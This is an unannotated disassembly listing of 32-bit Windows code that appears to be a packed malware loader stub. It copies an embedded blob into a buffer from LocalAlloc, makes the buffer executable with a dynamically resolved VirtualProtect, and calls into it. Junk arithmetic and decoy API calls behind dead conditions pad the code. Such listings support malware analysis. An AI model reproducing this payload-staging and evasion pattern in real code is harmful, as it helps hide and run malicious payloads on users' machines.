mul dword [ebp - 0xe0]
mov eax, dword [ebp - 0xe0]
add dword [ebp - 0x108], 0x427bf68b
mov eax, 0x1dadfabe
mul dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
sub dword [ebp - 0x130], 0x2bc62627
mov eax, 0x201f72ab
mul dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
mov eax, 0x2f080ba7
mul dword [ebp - 0x1f8]
mov eax, dword [ebp - 0x1f8]
mov eax, 0x34f0ff1d
mul dword [ebp - 0x1c0]
mov eax, dword [ebp - 0x1c0]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40e1f8
push dword [0xb9c244]
call ebx
push dword [0xb9c254]
mov dword [0xb9b39c], eax
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0xb9b398], eax
mov eax, dword [0x4213d8]
xor edi, edi
mov dword [0xbb6c2c], eax
cmp dword [0xb9c254], esi
jbe 0x40a2d4
cmp dword [0xb9c254], 0xd37
mov eax, dword [0xbb6c2c]
mov al, byte [edi + eax + 0xb2d3b]
mov ecx, dword [0xb9b398]
mov byte [edi + ecx], al
jne 0x40a2cb
push esi
lea eax, [ebp - 0x1a50]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
push esi
lea eax, [ebp - 0xe50]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
inc edi
cmp edi, dword [0xb9c254]
jb 0x40a28e
xor edi, edi
cmp edi, 0x22114f
jne 0x40a307
push str.VirtualProtect
push dword [0xb9c244]
call ebx
lea ecx, [ebp - 0x24c]
push ecx
push 0x40
push dword [0xb9c254]
mov dword [0x430bb4], eax
push dword [0xb9b398]
call eax
inc edi
cmp edi, 0x259cc9
jl 0x40a2d6
call fcn.00408d1b
mov edi, 0xea7bb
pop ebx
cmp dword [0xb9c254], 0x3b3
jne 0x40a32e
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp dword [0xb9c254], 0x1189
jne 0x40a34b
push esi
lea eax, [ebp - 0x24c]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
dec edi
jne 0x40a31b
cmp dword [0xb9c254], 0x11ce
jne 0x40a361
push esi
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
cmp edi, 0x156cae
jne 0x40a373
mov eax, dword [0xb9b398]
mov dword [0xb9c248], eax
cmp dword [0xb9c254], 0x734
jne 0x40a39e
push esi
lea eax, [ebp - 0x650]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push esi
lea eax, [ebp - 0xa50]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
inc edi
cmp edi, 0x24c129
jl 0x40a34e
call dword [0xb9c248]
pop edi
pop esi
add ebp, 0x78
leave
ret